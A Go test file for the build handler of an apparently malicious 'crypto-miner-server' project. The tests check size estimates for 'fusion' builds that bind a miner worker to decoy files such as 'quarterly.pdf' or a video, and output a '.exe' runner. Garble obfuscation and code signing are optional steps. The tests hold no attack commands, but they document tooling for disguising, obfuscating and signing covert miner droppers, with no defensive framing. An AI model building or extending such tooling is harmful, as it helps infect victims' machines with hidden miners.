package builder

import (
	"path/filepath"
	"strings"
	"testing"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
)

func TestEstimateFusionBuildTotals(t *testing.T) {
	h := &Handler{
		dataDir:     t.TempDir(),
		projectRoot: t.TempDir(),
	}
	req := &BuildRequest{
		FusionEnabled:    true,
		FusionOutputName: "MyApp.exe",
		OutputDir:        "exports",
		Obfuscate:        true,
	}
	got := h.estimateFusionBuild(req, "", 5*1024*1024, "MyApp.exe")
	if got.PrepBytes != 5*1024*1024 {
		t.Fatalf("prep bytes: got %d", got.PrepBytes)
	}
	if got.EstimatedTotalBytes <= got.PrepBytes {
		t.Fatalf("total should exceed prep: %d", got.EstimatedTotalBytes)
	}
	if got.OutputFileName != "MyApp.exe" {
		t.Fatalf("output name: %s", got.OutputFileName)
	}
	if got.ExportPath == "" {
		t.Fatal("expected export path")
	}
}

func TestEstimateFusionBuildVideoPaired(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	req := &BuildRequest{
		FusionEnabled:     true,
		FusionPayloadKind: "video",
		FusionMediaMode:   "paired",
	}
	got := h.estimateFusionBuild(req, "", 100*1024*1024, "movie.mkv")
	if got.EstimatedTotalBytes >= 100*1024*1024+defaultWorkerBytes {
		t.Fatalf("paired video should not add full prep to total: %d", got.EstimatedTotalBytes)
	}
	if got.ExportPath == "" {
		t.Fatal("expected export path for video")
	}
}

func TestEstimateFusionBuildVideoEmbedded(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	req := &BuildRequest{
		FusionEnabled:     true,
		FusionPayloadKind: "video",
		FusionMediaMode:   "embedded",
	}
	prepSize := int64(50 * 1024 * 1024)
	got := h.estimateFusionBuild(req, "", prepSize, "movie.mkv")
	if got.EstimatedTotalBytes <= prepSize {
		t.Fatalf("embedded video total should include prep: %d", got.EstimatedTotalBytes)
	}
}

func TestEstimateFusionBuildGarbleNote(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir(), policy: BuildPolicy{DefaultObfuscate: true}}
	req := &BuildRequest{FusionEnabled: true, Obfuscate: true}
	got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
	found := false
	for _, n := range got.Notes {
		if strings.Contains(n, "Garble") {
			found = true
			break
		}
	}
	if !found {
		t.Fatal("expected garble note when obfuscate requested without garble path")
	}
}

func TestEstimateWorkerBytesDefault(t *testing.T) {
	h := &Handler{}
	if got := h.estimateWorkerBytes(); got != defaultWorkerBytes {
		t.Fatalf("default worker bytes: %d", got)
	}
}

func TestEstimateFusionBuildSignNote(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	req := &BuildRequest{FusionEnabled: true, SignBuild: true}
	got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
	found := false
	for _, n := range got.Notes {
		if strings.Contains(n, "sign") || strings.Contains(n, "Sign") || strings.Contains(n, "certificate") {
			found = true
			break
		}
	}
	if !found {
		t.Fatal("expected signing note when SignBuild without cert configured")
	}
}

func TestEstimateFusionBuildDetectKindFromPrepPath(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	req := &BuildRequest{FusionEnabled: true}
	prep := filepath.Join(t.TempDir(), "payload.exe")
	got := h.estimateFusionBuild(req, prep, 1024, "payload.exe")
	if got.EstimatedTotalBytes <= 1024 {
		t.Fatalf("exe payload should add prep size: %d", got.EstimatedTotalBytes)
	}
}

func TestEstimateFusionBuildDefaultRunnerName(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: "."}
	req := &BuildRequest{FusionEnabled: true}
	got := h.estimateFusionBuild(req, "", 0, "quarterly.pdf")
	if got.OutputFileName == "" || !strings.HasSuffix(strings.ToLower(got.OutputFileName), ".exe") {
		t.Fatalf("expected default runner .exe name, got %q", got.OutputFileName)
	}
}

func TestEstimateFusionBuildOutputDirInvalid(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	req := &BuildRequest{FusionEnabled: true, OutputDir: "../escape"}
	got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
	for _, n := range got.Notes {
		if strings.Contains(n, "Secondary export") {
			t.Fatal("invalid output_dir should not add secondary export note")
		}
	}
}

func TestEstimateFusionBuildOutputDirSecondary(t *testing.T) {
	root := t.TempDir()
	h := &Handler{dataDir: t.TempDir(), projectRoot: root}
	req := &BuildRequest{FusionEnabled: true, FusionPayloadKind: "file", OutputDir: "exports"}
	got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
	found := false
	for _, n := range got.Notes {
		if strings.Contains(n, "Secondary export") {
			found = true
			break
		}
	}
	if !found {
		t.Fatal("expected secondary export note for valid output_dir")
	}
}

func TestEstimateFusionBuildNonVideoUsesOutputLabel(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	req := &BuildRequest{FusionEnabled: true, FusionOutputName: "CustomRunner.exe"}
	got := h.estimateFusionBuild(req, "", 1024, "prep.pdf")
	if !strings.Contains(got.ProjectRootPath, "CustomRunner") {
		t.Fatalf("project path should use output label: %q", got.ProjectRootPath)
	}
}

func TestEstimateWorkerBytesFromHistory(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	h := &Handler{db: database}
	buildPath := filepath.Join(t.TempDir(), "worker-test.exe")
	if err := database.InsertBuild(&models.BuildRecord{
		ID: "b1", WorkerName: "pc", FilePath: buildPath, FileSize: 8 * 1024 * 1024,
		CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}
	if got := h.estimateWorkerBytes(); got != 8*1024*1024 {
		t.Fatalf("expected average from history, got %d", got)
	}
}

func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) {
	h := &Handler{
		dataDir:     t.TempDir(),
		projectRoot: t.TempDir(),
		policy:      BuildPolicy{Sign: SignPolicy{Enabled: true, CertThumbprint: "ABC123"}},
	}
	req := &BuildRequest{FusionEnabled: true, SignBuild: true}
	got := h.estimateFusionBuild(req, "", 1024, "prep.exe")
	for _, n := range got.Notes {
		if strings.Contains(n, "certificate") || strings.Contains(n, "thumbprint") {
			t.Fatal("should not warn when cert thumbprint configured")
		}
	}
	if !got.SignBuild {
		t.Fatal("SignBuild should be true in response")
	}
}

func TestEstimateFusionBuildProjectRootResolved(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: "."}
	req := &BuildRequest{FusionEnabled: true}
	got := h.estimateFusionBuild(req, "", 0, "x.pdf")
	if got.ProjectRootPath == "" {
		t.Fatal("project root . should resolve to absolute path")
	}
	if !filepath.IsAbs(got.ProjectRootPath) {
		t.Fatalf("expected absolute project path: %q", got.ProjectRootPath)
	}
}
